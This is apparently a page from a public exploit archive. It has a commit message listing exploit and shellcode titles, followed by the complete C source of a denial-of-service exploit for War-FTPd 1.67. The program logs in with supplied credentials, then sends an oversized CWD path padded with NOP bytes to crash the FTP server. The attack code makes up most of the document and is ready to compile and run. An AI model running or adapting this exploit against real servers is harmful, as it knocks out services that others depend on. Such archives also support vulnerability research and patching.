880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
90 lines
No EOL
3.2 KiB
C
90 lines
No EOL
3.2 KiB
C
// source: https://www.securityfocus.com/bid/966/info
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War-FTPd 1.67 and possibly previous versions are susceptible to a buffer overflow DoS attack.
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Due to improper bounds checking in the code that handles MKD and CWD commands, it is possible to remotely crash the server by submitting extremely long pathnames as arguments to either command.
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/*--------------------------------------------------------------*/
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/* war-ftpd 1.66x4s and 1.67-3 DoS sample by crc "warftpd-dos.c"*/
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/*--------------------------------------------------------------*/
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#include <stdio.h>
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#include <string.h>
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#include <winsock.h>
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#include <windows.h>
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#define FTP_PORT 21
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#define MAXBUF 8182
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//#define MAXBUF 553
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#define MAXPACKETBUF 32000
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#define NOP 0x90
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void main(int argc,char *argv[])
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{
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SOCKET sock;
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unsigned long victimaddr;
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SOCKADDR_IN victimsockaddr;
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WORD wVersionRequested;
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int nErrorStatus;
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static unsigned char buf[MAXBUF],packetbuf[MAXPACKETBUF],*q;
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hostent *victimhostent;
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WSADATA wsa;
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if (argc < 3){
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printf("Usage: %s TargetHost UserName Password\n",argv[0]); exit(1);
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}
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wVersionRequested = MAKEWORD(1, 1);
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nErrorStatus = WSAStartup(wVersionRequested, &wsa);
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if (atexit((void (*)(void))(WSACleanup))) {
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fprintf(stderr,"atexit(WSACleanup)failed\n"); exit(-1);
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}
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if ( nErrorStatus != 0 ) {
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fprintf(stderr,"Winsock Initialization failed\n"); exit(-1);
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}
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if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
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fprintf(stderr,"Can't create socket.\n"); exit(-1);
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}
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victimaddr = inet_addr((char*)argv[1]);
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if (victimaddr == -1) {
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victimhostent = gethostbyname(argv[1]);
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if (victimhostent == NULL) {
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fprintf(stderr,"Can't resolve specified host.\n"); exit(-1);
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}
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else
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victimaddr = *((unsigned long *)((victimhostent->h_addr_list)[0]));
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}
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victimsockaddr.sin_family = AF_INET;
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victimsockaddr.sin_addr.s_addr = victimaddr;
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victimsockaddr.sin_port = htons((unsigned short)FTP_PORT);
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memset(victimsockaddr.sin_zero,(int)0,sizeof(victimsockaddr.sin_zero));
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if(connect(sock,(struct sockaddr *)&victimsockaddr,sizeof(victimsockaddr)) == SOCKET_ERROR){
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fprintf(stderr,"Connection refused.\n"); exit(-1);
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}
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printf("Attacking war-ftpd ...\n");
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recv(sock,(char *)packetbuf,MAXPACKETBUF,0);
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sprintf((char *)packetbuf,"USER %s\r\n",argv[2]);
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send(sock,(char *)packetbuf,strlen((char *)packetbuf),0);
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recv(sock,(char *)packetbuf,MAXPACKETBUF,0);
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sprintf((char *)packetbuf,"PASS %s\r\n",argv[3]);
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send(sock,(char *)packetbuf,strlen((char *)packetbuf),0);
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recv(sock,(char *)packetbuf,MAXPACKETBUF,0);
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memset(buf,NOP,MAXBUF); buf[MAXBUF-1]=0;
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sprintf((char *)packetbuf,"CWD %s\r\n",buf);
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send(sock,(char *)packetbuf,strlen((char *)packetbuf),0);
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Sleep(100);
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shutdown(sock, 2);
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closesocket(sock);
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WSACleanup();
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printf("done.\n");
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} |